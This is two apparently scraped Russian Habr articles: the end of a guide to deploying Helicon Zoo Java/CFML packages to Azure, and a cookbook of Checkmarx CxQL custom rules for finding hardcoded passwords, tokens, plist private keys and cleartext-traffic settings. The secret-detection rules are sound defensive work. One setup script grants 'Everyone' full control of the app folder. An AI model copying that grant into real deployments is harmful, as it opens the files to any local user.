Главной внешней зависимостью для Java-программ является Oracle JDK, и, к сожалению, его нельзя установить из репозитория Helicon Zoo. Oracle запрещает встраивание своего JDK в другие продукты и репозитории и любые поставки их дистрибутивов в обход самого сайта Oracle. Поэтому вам нужно скачать JDK-7 самостоятельно, воспользовавшись этой ссылкой: <http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html> Для Azure Cloud Services вам понадобится версия Windows-64 bit. На вашу рабочую станцию ставьте версию в соответствии с битностью машины. После того как JDK-7 установлен, можно устанавливать Java-программы из репозитория Helicon Zoo. Для примера вы можете установить **Zoo -> Applications -> SCM Manager** – небольшой менеджер и сервис репозиториев Git, Mercurial и SVN написанный на Java. Или поставить **Zoo -> Applications -> Mura CMS** – красивая CMS написанная на ColdFusion. Обе программы устанавливаются прямо из репозитория без дополнительных действий.

В моем случае я установил Mura CMS в папку «My Web Sites\Mura CMS1». Дальше как и раньше – создаем папку offline-package куда пакуем Java Hosting Package или CFML Hosting Package из репозитория Helicon Zoo, в зависимости от того какая технология используется:
```
mkdir offline-package
WebpiCmd.exe /offline /Products:CFMLHostingPackage /Path:"offline-package" /Feeds:http://www.helicontech.com/zoo/feed.xml
```
Добавим в директорию **offline-package\bin** еще и скачанный ранее дистрибутив с JDK-7.
Скрипт bin\startup.cmd будет отличатся дополнительным вызовом установщика JDK-7:
**[bin\startup.cmd]**
```
echo Starting installation...
rem Дать права на чтение и запись папке куда распаковано приложение
icacls "%RoleRoot%\approot" /grant "Everyone":F /T
rem Локальная папка AppData с правами на запись нужна для работы Web Platform Installer
rem Создадим эту папку и ключ реестра на нее указывающий
md "%RoleRoot%\appdata"
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d "%RoleRoot%\appdata" /f
rem Перейдем в папку с WebpiCmd.exe
pushd "%RoleRoot%\approot\offline-package\bin"
rem Устанавливаем JDK-7
jdk-7u45-windows-x64.exe /s
rem Вызов команды WebpiCmd.exe для установки продукта из папки offline-package
rem Обратите внимание на имя продукта – PerlHostingPackage, а также логи в install.txt и install-error.txt
WebpiCmd.exe /install /Products:CFMLHostingPackage /XML:%RoleRoot%\approot\offline-package\feeds\latest\webproductlist.xml ^
/Feeds:%RoleRoot%\approot\offline-package\feeds\latest\supplementalfeeds\feed.xml ^
/AcceptEula >%RoleRoot%\approot\install.txt 2>%RoleRoot%\approot\install-error.txt
popd
rem Вернуть старое значение ключу реестра с AppData
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d %%USERPROFILE%%\AppData\Local /f
rem Тут можно выполнить другие действия, например удалить временные файлы.
echo Completed installation.
```
Создадим файлы пакета:
**[Mura.Cloud.cscfg]**
```
xml version="1.0" encoding="utf-8"?
```
**[Mura.csdef]**
```
xml version="1.0" encoding="utf-8"?
```
**[Mura.pack.cmd]**
```
@echo off
set WINDOWS_AZURE_SDK_PATH="C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\v2.1"
call %WINDOWS_AZURE_SDK_PATH%\bin\setenv.cmd
pushd %~dp0
if "%ServiceHostingSDKInstallPath%" == "" (
echo Can't see the ServiceHostingSDKInstallPath environment variable. Please run from a Windows Azure SDK command-line (run Program Files\Windows Azure SDK\^\bin\setenv.cmd^).
GOTO :eof
)
rem Тут можно удалить временные файлы, остановить IIS и т.п.
rem iisreset /stop
rem Эта команда создает пакет для Windows Azure
cspack Mura.csdef /out:Mura.cspkg
popd
```
И запустим Mura.pack.cmd. Получится файл Mura.cspkg размером 275 мб. Что можно сказать: Java требует много ресурсов. Хотя и 300 мб для передачи по локальной сети по современным меркам не так уж и много.
Ну и теперь, если бы Azure Cloud Services принимал пакеты такого размера, нам нужно было бы просто загрузить ему эти файлы. Пока же наш эксперимент чисто теоретический.
Заключение
==========
Несмотря на кажущуюся сложность показанного решения, не все так страшно. За одну статью мы управились сразу с большинством популярных технологий веб разработки. Разумеется, остались еще PHP и ASP.NET, которые и так неплохо описаны в инструкциях к Windows Azure. В репозитории Helicon Zoo есть еще PHP Hosting Package, которым удобно воспользоваться вместо стандартного решения от Microsoft в том случае если вы собираетесь смешивать несколько версий PHP или другие веб технологии в рамках одного сайта, так как в Zoo неплохо реализована изоляция технологий.
Главное достоинство представленного решения, помимо относительной простоты и хорошей производительности – это достаточно легкая миграция приложений между серверами и сервисами. Пользуясь таким решением, вы оставляете для себя теоретическую возможность в будущем «спрыгнуть» с сервисов Azure, если условия не будут вас удовлетворять. Все приложения, приведенные в данной статье, могут быть аналогично запущены практически на любом сервере Windows и Linux. Разумеется, инфраструктура Azure предоставляет еще массу других, полезных, сервисов, таких как Media Services, Mobile Services, SQL Databases или очереди сообщений. Если ваше приложение будет активно использовать эти сервисы, то привязка к платформе будет более жесткой. | https://habr.com/ru/post/200376/ | null | ru | null |
# Как написать правила для Checkmarx и не сойти с ума
Привет, Хабр!
В своей работе наша компания очень часто имеет дело с различными инструментами статического анализа кода (SAST). Из коробки они все работают средне. Конечно, всё зависит от проекта и используемых в нём технологий, а также, насколько хорошо эти технологии покрываются правилами анализа. На мой взгляд, одним из самых главных критериев при выборе инструмента SAST является возможность настраивать его под особенности своих приложений, а именно писать и изменять правила анализа или, как их чаще называют, Custom Queries.
Мы чаще всего используем Checkmarx - очень интересный и мощный анализатор кода. В этой статье я расскажу про свой опыт написания правил анализа для него.
### Оглавление
* [Вступление](#%D0%B2%D1%81%D1%82%D1%83%D0%BF%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5)
* [Общая информация по правилам](#%D0%9E%D0%B1%D1%89%D0%B0%D1%8F%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F)
* [“Словарь“ для начинающего](#%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C)
+ [Операции со списками](#%D0%A1%D0%BF%D0%B8%D1%81%D0%BA%D0%B8)
+ [Все найденные элементы](#%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82%D1%8B)
+ [Функции для анализа Flow](#%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8%20%D0%B4%D0%BB%D1%8F%20%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%20Flow)
+ [Получение имени/пути файла](#%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8%20%D1%84%D0%B0%D0%B9%D0%BB%D0%B0)
+ [Результат выполнения](#%D0%A0%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%20%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F)
+ [Использование результатов выполнения других правил](#%D0%A0%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82)
* [Решение проблем](#%D0%A0%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B5)
+ [Логирование](#%D0%9B%D0%BE%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
+ [Проблема с логином](#%D0%9B%D0%BE%D0%B3%D0%B8%D0%BD)
* [Написание правил](#%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0)
* [Заключение](#%D0%97%D0%B0%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)
### Вступление
Для начала, я бы хотел порекомендовать одну из немногих статей на русском языке про особенности написания запросов для Checkmarx. Она была опубликована на Хабре в конце 2019 года под заголовком: [«Hello, Checkmarx!». Как написать запрос для Checkmarx SAST и найти крутые уязвимости](https://habr.com/ru/company/dins/blog/477742/).
В ней подробно рассмотрено, как написать первые запросы на языке CxQL (Checkmarx Query Language) для некоторого тестового приложения и показаны основные принципы работы правил анализа.
Я не буду повторять то, что в ней описано, хотя некоторые пересечения всё-таки будут присутствовать. В своей статье я постараюсь составить некоторый “сборник рецептов”, перечень решений конкретных задач, с которыми я сталкивался за время своей работы с Checkmarx. Над многими из этих задач мне пришлось изрядно поломать голову. Порой не хватало данных в документации, а порой и вообще трудно было понять, как сделать то, что требуется. Надеюсь, мой опыт и бессонные ночи не пропадут даром, и этот “сборник Custom Queries рецептов” сэкономит вам несколько часов или пару-тройку нервных клеток. Итак, начнем!
### Общая информация по правилам
Для начала рассмотрим несколько базовых понятий и процесс работы с правилами, для лучшего понимания, что будет происходить дальше. И еще потому что в документации про это не сказано или сильно размазано по структуре, что не очень удобно.
1. Правила применяются при сканировании в зависимости от выбранного при старте пресета (набор активных правил). Пресетов можно создавать неограниченное количество и как именно их структурировать зависит от особенностей вашего процесса. Можно сгруппировать их по языкам или выделить пресеты для каждого проекта. Количество активных правил влияет на скорость и точность сканирования.
Настройка Preset в интерфейсе Checkmarx
2. Правила редактируются в специальном инструменте под названием CxAuditor. Это десктопное приложение, которое подключается к серверу с Checkmarx. У этого инструмента есть два режима работы: редактирование правил и анализ результатов уже проведенного сканирования.
Интерфейс CxAudit
3. Правила в Checkmarx разделены по языкам, то есть для каждого языка существует свой набор запросов. Также есть некоторые общие правила, которые применяются вне зависимости от языка, это так называемые базовые запросы. В большинстве своем, базовые запросы содержат в себе поиск информации, которую используют другие правила.
Разделение правил по языкам
4. Правила бывают “Executable” и “Non-Executable” (Выполняемые и Не выполняемые). Не совсем корректное название, на мой взгляд, но что есть. Суть в том, что результат выполнения “Executable” правил будет отображен в результатах сканирования в UI, а “Non-Executable” правила нужны только для использования их результатов в других запросах (по сути - просто функция).
Определение типа правила при создании
5. Можно создавать новые правила или дополнять/переписывать существующие. Для того, чтобы переписать правило, нужно найти его в дереве, нажать правой кнопкой и в выпадающем меню выбрать пункт “Override“. Тут важно помнить, что новые правила изначально не включены в пресеты и не активны. Чтобы начать их использовать нужно активировать их в меню “Preset Manager” в инструменте. Переписанные правила сохраняют свои настройки, то есть, если правило было активно, таким оно и останется и будет применяться сразу.
Пример нового правила в интерфейсе Preset Manager
6. Во время выполнения строится “дерево” запросов, что от чего зависит. Первыми выполняются правила, которые собирают информацию, вторыми те, кто ее использует. Результат выполнения кэшируется, так что если есть возможность использовать результаты существующего правила, то лучше так и сделать, это позволит уменьшить время сканирования.
7. Правила можно применять на различных уровнях:
* Для всей системы - будет использован для любого сканирования любого проекта
* На уровне команды (Team) - будет применяться только для сканирования проектов в выбранной команде.
* На уровне проекта - Будет применяться в конкретном проекте
Определение уровня, на котором будет применяться правило
### “Словарь“ для начинающего
И начну я с нескольких вещей, которые вызывали у меня вопросы, а также покажу ряд приемов, которые существенно упростят жизнь.
#### Операции со списками
```
- вычитание одного из другого (list2 - list1)
* пересечение списков (list1 * list2)
+ сложение списков (list1 + list2)
& (логическое И) - объединяет списки по совпадению (list1 & list2), аналогично пересечению (list1 * list2)
| (логическое ИЛИ) - объединяет списки по широкому поиску (list1 | list2)
Со списками не работает: ^ && || % /
```
#### Все найденные элементы
В рамках сканируемого языка можно получить список абсолютно всех элементов, которые определил Checkmarx (строки, функции, классы, методы и т.д.). Это некоторое пространство объектов, к которому можно обратиться через `All`. То есть, для поиска объекта с конкретным названием `searchMe`, можно выполнить поиск, например, по имени по всем найденным объектам:
```
// Такой запрос выдаст все элементы
result = All;
// Такой запрос выдаст все элементы, в имени которых присутствует “searchMe“
result = All.FindByName("searchMe");
```
Но, если нужно выполнить поиск по другому языку, который по каким-то причинам не вошел в сканирование (например groovy в проекте для Android), можно расширить наше пространство объектов через переменную:
```
result = AllMembers.All.FindByName("searchMe");
```
#### Функции для анализа Flow
Эти функции используются во многих правилах и вот небольшая шпаргалка, что они означают:
```
// Какие данные second влияют на first.
// Другими словами - ТО (second) что влияет на МЕНЯ (first).
result = first.DataInfluencedBy(second);
// Какие данные first влияют на second.
// Другими словами - Я (first) влияю на ТО (second).
result = first.DataInfluencingOn(second);
```
#### Получение имени/пути файла
Есть несколько атрибутов, которые можно получить из результатов выполнения запроса (имя файла в котором найдено вхождение, строка и т.д.), но как их получить и использовать в документации не сказано. Так вот для того, чтобы это сделать, необходимо обратиться к свойству LinePragma и уже внутри него будут находиться нужные нам объекты:
```
// Для примера найдем все методы
CxList methods = Find_Methods();
// В методах найдем по имени метод scope
CxList scope = methods.FindByName("scope");
// Таким образом можо получить путь к файлу
string current_filename = scope.GetFirstGraph().LinePragma.FileName;
// А вот таким - строку, где нашлось срабатывание
int current_line = scope.GetFirstGraph().LinePragma.Line;
// Эти параметры можно использовать по разному
// Например получить все объекты в файле
CxList inFile = All.FindByFileName(current_filename);
// Или найти что происходит в конкретной строке
CxList inLine = inFile.FindByPosition(current_line);
```
Стоит иметь ввиду, что `FileName` содержит на самом деле путь к файлу, поскольку мы использовали метод `GetFirstGraph`.
#### Результат выполнения
Внутри CxQL предусмотрена специальная переменная `result`, которая возвращает результат выполнения вашего написанного правила. Она инициализирована сразу и можно записывать в нее промежуточные результаты, изменяя и уточняя их в процессе работы. Но, если внутри правила не будет присвоения этой переменной или функции `return`- результат выполнения всегда будет нулевым.
Следующий запрос не вернет нам ничего в результате выполнения и всегда будет пустым:
```
// Находим элементы foo
CxList libraries = All.FindByName("foo");
```
Но, присвоив результат выполнения к магической переменной result - увидим, что нам возвращает данный вызов:
```
// Находим элементы foo
CxList libraries = All.FindByName("foo");
// Выводим, как результат выполнения правила
result = libraries
// Или еще короче
result = All.FindByName("foo");
```
#### Использование результатов выполнения других правил
Правила в Checkmarx можно назвать аналогом функций в обычном языке программирования. При написании правила вы вполне можете использовать результаты других запросов. Для примера, нет необходимости каждый раз искать все вызовы методов в коде, достаточно вызвать нужное правило:
```
// Получаем результат выполнения другого правила
CxList methods = Find_Methods();
// Ищем внутри метод foo.
// Второй параметр false означает, что ищем без чувствительности к регистру
result = methods.FindByShortName("foo", false);
```
Такой подход позволяет сократить код и существенно уменьшить время выполнения правила.
### Решение проблем
#### Логирование
При работе с инструментом, иногда не получается сразу написать нужный запрос и приходится экспериментировать, пробуя различные варианты. Для такого случая в инструменте предусмотрено логирование, которое вызывается следующим образом:
```
// Находим что-то
CxList toLog = All.FindByShortName("log");
// Формируем строку и отправляем в лог
cxLog.WriteDebugMessage (“number of DOM elements =” + All.Count);
```
Но стоит помнить, что на вход этот метод принимает только **строку**, так что вывести полный список найденных элементов в результате выполнения первой операции не получится. Второй вариант, который используется для отладки - это время от времени присваивать магической переменной `result` результат выполнения запроса и смотреть, что получится. Такой подход не очень удобен, нужно быть уверенным, что в коде после нет переопределения или операций с этим `result` или просто комментировать расположенный ниже код. А можно как я, забыть убрать из готового правила несколько таких вызовов и удивляться, почему ничего не работает.
Более удобный способ - это вызвать метод `return` с нужным параметром. В таком случае, выполнение правила закончится и мы сможем увидеть, что же получилось в результате написанного нами:
```
// Находим что-то
CxList toLog = All.FindByShortName("log");
// Выводим результат выполнения
return toLog
//Все, что написано дальше не будет выполнено
result = All.DataInfluencedBy(toLog)
```
#### Проблема с логином
Бывают ситуации, когда не получается зайти в инструмент CxAudit (который используется для написания правил). Причин этому может быть много, аварийное завершение работы, внезапное обновление Windows, BSOD и другие непредвиденные ситуации, которые нам неподвластны. В таком случае иногда остается незавершенная сессия в базе данных, которая не дает зайти повторно. Для исправления необходимо выполнить несколько запросов:
Для Checkmarx до 8.6:
```
// Проверяем, что есть залогиненые пользователи, выполнив запрос в БД
SELECT COUNT(*) FROM [CxDB].[dbo].LoggedinUser WHERE [ClientType] = 6;
// Если что-то есть, а на самом деле даже если и нет, попробовать выполнить запрос
DELETE FROM [CxDB].[dbo].LoggedinUser WHERE [ClientType] = 6;
```
Для Checkmarx после 8.6:
```
// Проверяем, что есть залогиненые пользователи, выполнив запрос в БД
SELECT COUNT(*) FROM LoggedinUser WHERE (ClientType = 'Audit');
// Если что-то есть, а на самом деле даже если и нет, попробовать выполнить запрос
DELETE FROM [CxDB].[dbo].LoggedinUser WHERE (ClientType = 'Audit');
```
### Написание правил
Вот и добрались до самого интересного. Когда начинаешь писать правила на CxQL, чаще не хватает даже не столько документации, сколько каких-то живых примеров решения определенных задач и описания процесса работы запросов в целом.
Я попробую немного упростить жизнь тем, кто начинает погружаться в язык запросов и приведу несколько примеров использования Custom Queries для решения определенных задач. Некоторые из них достаточно общие и могут быть применены в вашей компании практически без изменений, другие более специфичные, но их так же можно использовать, поменяв код под специфику ваших приложений.
Итак, вот с какими задачами нам приходилось встречаться чаще всего:
**Задача:** В результатах выполнения правила несколько Flow и один из них является вложением другого, необходимо оставить один из них.
**Решение:** Действительно, иногда Checkmarx показывает несколько Flow движения данных, которые могут пересекаться и быть укороченной версией других. Для таких случаев есть специальный метод *ReduceFlow.* В зависимости от параметра он выберет самый короткий или самый длинный Flow:
```
// Оставить только длинные Flow
result = result.ReduceFlow(CxList.ReduceFlowType.ReduceSmallFlow);
// Оставить только короткие Flow
result = result.ReduceFlow(CxList.ReduceFlowType.ReduceBigFlow);
```
---
**Задача:** Расширить перечень чувствительных данных, на которые реагирует инструмент
**Решение:** В Checkmarx существуют базовые правила, результат выполнения которых используют многие другие запросы. Дополнив некоторые из таких правил данными, специфичными для вашего приложения, можно сразу улучшить результаты сканирования. Ниже пример правила, с которого можно начать:
***General\_privacy\_violation\_list***
Добавим несколько переменных, которые используются в нашем приложении для хранения чувствительной информации:
```
// Получаем результат выполнения базового правила
result = base.General_privacy_violation_list();
// Ищем элементы, которые попадают под простые регулярные выражения. Можно дополнить характерными для вас паттернами.
CxList personalList = All.FindByShortNames(new List {
"\*securityToken\*", "\*sessionId\*"}, false);
// Добавляем к конечному результату
result.Add(personalList);
```
---
**Задача:** Расширить перечень переменных с паролями
**Решение:** Я бы рекомендовал сразу обратить внимание на базовое правило по определению паролей в коде и добавить к нему список имён переменных, которые принято использовать в вашей компании.
***Password\_privacy\_violation\_list***
```
CxList allStrings = All.FindByType("String");
allStrings.Add(All.FindByType(typeof(StringLiteral)));
allStrings.Add(Find_UnknownReference());
allStrings.Add(All.FindByType(typeof (Declarator)));
allStrings.Add(All.FindByType(typeof (MemberAccess)));
allStrings.Add(All.FindByType(typeof(EnumMemberDecl)));
allStrings.Add(Find_Methods().FindByShortName("get*"));
// Дополняем дефолтный список переменных
List < string > pswdIncludeList = new List{"\*password\*", "\*psw", "psw\*", "pwd\*", "\*pwd", "\*authKey\*", "pass\*", "cipher\*", "\*cipher", "pass", "adgangskode", "benutzerkennwort", "chiffre", "clave", "codewort", "contrasena", "contrasenya", "geheimcode", "geslo", "heslo", "jelszo", "kennwort", "losenord", "losung", "losungswort", "lozinka", "modpas", "motdepasse", "parol", "parola", "parole", "pasahitza", "pasfhocal", "passe", "passord", "passwort", "pasvorto", "paswoord", "salasana", "schluessel", "schluesselwort", "senha", "sifre", "wachtwoord", "wagwoord", "watchword", "zugangswort", "PAROLACHIAVE", "PAROLA CHIAVE", "PAROLECHIAVI", "PAROLE CHIAVI", "paroladordine", "verschluesselt", "sisma",
"pincode",
"pin"};
List < string > pswdExcludeList = new List{"\*pass", "\*passable\*", "\*passage\*", "\*passenger\*", "\*passer\*", "\*passing\*", "\*passion\*", "\*passive\*", "\*passover\*", "\*passport\*", "\*passed\*", "\*compass\*", "\*bypass\*", "pass-through", "passthru", "passthrough", "passbytes", "passcount", "passratio"};
CxList tempResult = allStrings.FindByShortNames(pswdIncludeList, false);
CxList toRemove = tempResult.FindByShortNames(pswdExcludeList, false);
tempResult -= toRemove;
tempResult.Add(allStrings.FindByShortName("pass", false));
foreach (CxList r in tempResult)
{
CSharpGraph g = r.data.GetByIndex(0) as CSharpGraph;
if(g != null && g.ShortName != null && g.ShortName.Length < 50)
{
result.Add(r);
}
}
```
---
**Задача:** Добавить используемые фреймворки, которые не поддерживаются Checkmarx
**Решение:** Все запросы в Checkmarx разделены по языкам, так что дополнять правила необходимо для каждого языка. Ниже несколько примеров таких правил.
Если используются библиотеки, которые дополняют или заменяют стандартный функционал - их легко добавить в базовое правило. Тогда все, кто его используют - сразу узнают о новых вводных. Как пример, библиотеки для логирования в Android - Timber и Loggi. В базовой поставке правил определения не системных вызовов нет, так что если пароль или идентификатор сессии попадет в лог, мы об этом не узнаем. Попробуем добавить в правила Checkmarx определения таких методов.
Тестовый пример кода, который использует библиотеку Timber для логирования:
```
package com.death.timberdemo;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import timber.log.Timber;
public class MainActivity extends AppCompatActivity {
private static final String TAG = MainActivity.class.getSimpleName();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Timber.e("Error Message");
Timber.d("Debug Message");
Timber.tag("Some Different tag").e("And error message");
}
}
```
А вот пример запроса для Checkmarx, который позволит добавить определение вызова методов Timber, как точку выхода данных из приложения:
***FindAndroidOutputs***
```
// Получаем результат выполнения базового правила
result = base.Find_Android_Outputs();
// Дополняем вызовами, которые приходят из библиотеки Timber
CxList timber = All.FindByExactMemberAccess("Timber.*") +
All.FindByShortName("Timber").GetMembersOfTarget();
// Добавляем к конечному результату
result.Add(timber);
```
И также можно дополнить соседнее правило, но уже относящееся непосредственно к логированию в Android:
***FindAndroidLog\_Outputs***
```
// Получаем результат выполнения базового правила
result = base.Find_Android_Log_Outputs();
// Дополняем вызовами, которые приходят из библиотеки Timber
result.Add(
All.FindByExactMemberAccess("Timber.*") +
All.FindByShortName("Timber").GetMembersOfTarget()
);
```
Также, если в Android-приложениях используется [WorkManager](https://developer.android.com/topic/libraries/architecture/workmanager/basics) для асинхронной работы, неплохо дополнительно сообщить об этом Checkmarx, добавив метод получения данных из задачи `getInputData`:
***FindAndroidRead***
```
// Получаем результат выполнения базового правила
result = base.Find_Android_Read();
// Дополняем вызовом функции getInputData, которая используется в WorkManager
CxList getInputData = All.FindByShortName("getInputData");
// Добавляем к конечному результату
result.Add(getInputData.GetMembersOfTarget());
```
---
**Задача:** Поиск чувствительных данных в plist для iOS проектов
**Решение:** Часто для хранения различных переменных и значений в iOS используются специальные файлы с расширением .plist. Хранение паролей, токенов, ключей и других чувствительных данных в этих файлах не рекомендуется, так как они без особых проблем могут быть извлечены из устройства.
Файлы plist имеют особенности, которые не очевидны невооруженному глазу, но важны для Checkmarx. Напишем правило, которое будет искать нужные нам данные и сообщать нам, если где-то упоминаются пароли или токены.
Пример такого файла, в котором зашит токен для общения с сервисом backend:
```
xml version="1.0" encoding="UTF-8"?
DeviceDictionary
phone
iPhone 6s
privatekey
MIICXAIBAAKBgQCqGKukO1De7zhZj6+
```
И правило для Checkmarx, в котором есть несколько нюансов, которые следует учитывать при написании:
```
// Используем результат выполнения правила по поиску файлов plist, чтобы уменьшить время работы правила и
CxList plist = Find_Plist_Elements();
// Инициализируем новую переменную
CxList dictionarySettings = All.NewCxList();
// Теперь добавим поиск всех интересующих нас значений. В дальнейшем можно расширять этот список.
// Для поиска значений, как ни странно, используется FindByMemberAccess - поиск обращений к методам. Второй параметр внутри функции, false, означает, что поиск нечувствителен к регистру
dictionarySettings.Add(plist.FindByMemberAccess("privatekey", false));
dictionarySettings.Add(plist.FindByMemberAccess("privatetoken", false));
// Для корректного поиска из-за особенностей структуры plist - нужно искать по типу "If statement"
CxList ifStatements = plist.FindByType(typeof(IfStmt));
// Добавляем в результат, перед этим получив родительский узел - для правильного отображения
result = dictionarySettings.FindByFathers(ifStatements);
```
---
**Задача:** Поиск информации в XML
**Решение:** В Checkmarx есть очень удобные функции по работе с XML и поиском значений, тэгов, атрибутов и прочего. Но в документации, к сожалению, допущена ошибка из-за которой ни один пример не работает. Несмотря на то, что в последней версии документации этот недочет устранен - будьте внимательны, если используете более ранние версии документов.
Вот неправильный пример из документации:
```
// Код работать не будет
result = All.FindXmlAttributesByNameAndValue("*.app", 8, “id”, "error- section", false, true);
```
В результате попытки выполнения мы получим ошибку, что у `All` нет такого метода… И это верно, так как для использования функций для работы с XML есть специальное, отдельное пространство объектов - `cxXPath`. Вот как выглядит правильный запрос для поиска настройки в Android, разрешающей использование HTTP трафика:
```
// Правильный вариант с использованием cxXPath
result = cxXPath.FindXmlAttributesByNameAndValue("*.xml", 8, "cleartextTrafficPermitted", "true", false, true);
```
Разберем чуть подробнее, так как синтаксис у всех функций похожий, после того, как разобрался с одной, дальше нужно только выбрать нужную. Итак, последовательно по параметрам:
* `"*.xml"`- маска файлов, по которым необходимо производить поиск
* `8` - id языка, для которого применяется правило
* `"cleartextTrafficPermitted"`- имя атрибута в xml
* `"true"` - значение этого атрибута
* `false` - использование регулярного выражения при поиске
* `true` - означает, что поиск будет выполнен с игнорированием регистра, то есть case-insensitive
Для примера использовано правило, которое определяет некорректные, с точки зрения безопасности, настройки сетевого соединения в Android, которые разрешают общение с сервером посредством протокола HTTP. Пример настройки, содержащий атрибут `cleartextTrafficPermitted` со значением `true`:
```
example.com
secure.example.com
```
---
**Задача:** Ограничить результаты по имени/пути файла
**Решение:** В одном из больших проектов, связанных с разработкой мобильного приложения под Android, мы столкнулись с ложными срабатываниями правила, которое определяет настройку обфускации. Дело в том, что правило из коробки ищет в файле `build.gradle` настройку, отвечающую за применение правил обфускации для релизной версии приложения.
Но в больших проектах иногда встречаются дочерние файлы `build.gradle`, которые относятся к библиотекам, включенным в проект. Особенность в том, что даже если в этих файлах не указана необходимость обфускации, при компиляции будут применяться настройки родительского файла сборки.
Таким образом, задача стоит в отсечении срабатываний в дочерних файлах, которые относятся к библиотекам. Определить их возможно по наличию строки `apply 'com.android.library'`.
Пример кода из файла `build.gradle`, определяющий необходимость обфускации:
```
apply plugin: 'com.android.application'
android {
compileSdkVersion 24
buildToolsVersion "24.0.2"
defaultConfig {
...
}
buildTypes {
release {
minifyEnabled true
...
}
}
}
dependencies {
...
}
```
Пример файла `build.gradle` для библиотеки, включенной в проект и не имеющей такой настройки:
```
apply plugin: 'android-library'
dependencies {
compile 'com.android.support:support-v4:18.0.+'
}
android {
compileSdkVersion 14
buildToolsVersion '17.0.0'
...
}
```
И правило для Checkmarx:
***ProGuardObfuscationNotInUse***
```
// Поиск метода release среди всех методов в Gradle файлах
CxList releaseMethod = Find_Gradle_Method("release");
// Все объекты из файлов build.gradle
CxList gradleBuildObjects = Find_Gradle_Build_Objects();
// Поиск того, что находится внутри метода "release" среди всех объектов из файлов build.gradle
CxList methodInvokesUnderRelease = gradleBuildObjects.FindByType(typeof(MethodInvokeExpr)).GetByAncs(releaseMethod);
// Ищем внутри gradle-файлов строку "com.android.library" - это значит, что данный файл относится к библиотеке и его необходимо исключить из правила
CxList android_library = gradleBuildObjects.FindByName("com.android.library");
// Инициализация пустого массива
List libraries\_path = new List {};
// Проходим через все найденные "дочерние" файлы
foreach(CxList library in android\_library)
{
// Получаем путь к каждому файлу
string file\_name\_library = library.GetFirstGraph().LinePragma.FileName;
// Добавляем его в наш массив
libraries\_path.Add(file\_name\_library);
}
// Ищем все вызовы включения обфускации в релизных настройках
CxList minifyEnabled = methodInvokesUnderRelease.FindByShortName("minifyEnabled");
// Получаем параметры этих вызовов
CxList minifyValue = gradleBuildObjects.GetParameters(minifyEnabled, 0);
// Ищем среди них включенные
CxList minifyValueTrue = minifyValue.FindByShortName("true");
// Немного магии, если не нашли стандартным способом :D
if (minifyValueTrue.Count == 0) {
minifyValue = minifyValue.FindByAbstractValue(abstractValue => abstractValue is TrueAbstractValue);
} else {
// А если всё-таки нашли, то предыдущий результат и оставляем
minifyValue = minifyValueTrue;
}
// Если не нашлось таких методов
if (minifyValue.Count == 0)
{
// Для более корректного отображения места срабатывания в файле ищем или buildTypes или android
CxList tempResult = All.NewCxList();
CxList buildTypes = Find\_Gradle\_Method("buildTypes");
if (buildTypes.Count > 0) {
tempResult = buildTypes;
} else {
tempResult = Find\_Gradle\_Method("android");
}
// Для каждого из найденных мест срабатывания проходим и определяем, дочерний или основной файлы сборки
foreach(CxList res in tempResult)
{
// Определяем, в каком файле был найден buildType или android методы
string file\_name\_result = res.GetFirstGraph().LinePragma.FileName;
// Если такого файла нет в нашем списке "дочерних" файлов - значит это основной файл и его можно добавить в результат
if (libraries\_path.Contains(file\_name\_result) == false){
result.Add(res);
}
}
}
```
Такой подход может быть достаточно универсальным и пригодится не только для Android приложений, но и для других случаев, когда нужно определять принадлежность результата к определенному файлу.
---
**Задача:** Добавить поддержку сторонней библиотеки, если синтаксис поддерживается не полностью
**Решение:** Количество всевозможных фреймворков, которые используются в процессе написания кода просто зашкаливает. Конечно, Checkmarx не всегда знает об их существовании и наша задача научить его понимать, что определенные методы относятся именно к этому фреймворку. Иногда это осложняется тем, что фреймворки используют названия функций, которые сильно распространены и нельзя однозначно определить отношение того или иного вызова к конкретной библиотеке.
Сложность заключается в том, что синтаксис таких библиотек не всегда корректно распознается и приходится экспериментировать, чтобы не получить большое количество ложных срабатываний. Существует несколько вариантов, чтобы улучшить точность сканирования и решить поставленную задачу:
* Первый вариант, мы точно знаем, что библиотека используется в определенном проекте и можем применить правило на уровне команды. Но в случае, если команда решит использовать другой подход или использует несколько библиотек, в которых пересекаются названия функций мы можем получить не очень приятную картину из многочисленных ложных срабатываний
* Второй вариант, применить поиск по файлам, в которых явно происходит импорт библиотеки. При таком подходе мы сможем быть уверенными, что в данном файле точно применяется нужная нам библиотека
* И третий вариант, это использование двух вышеперечисленных подходов совместно.
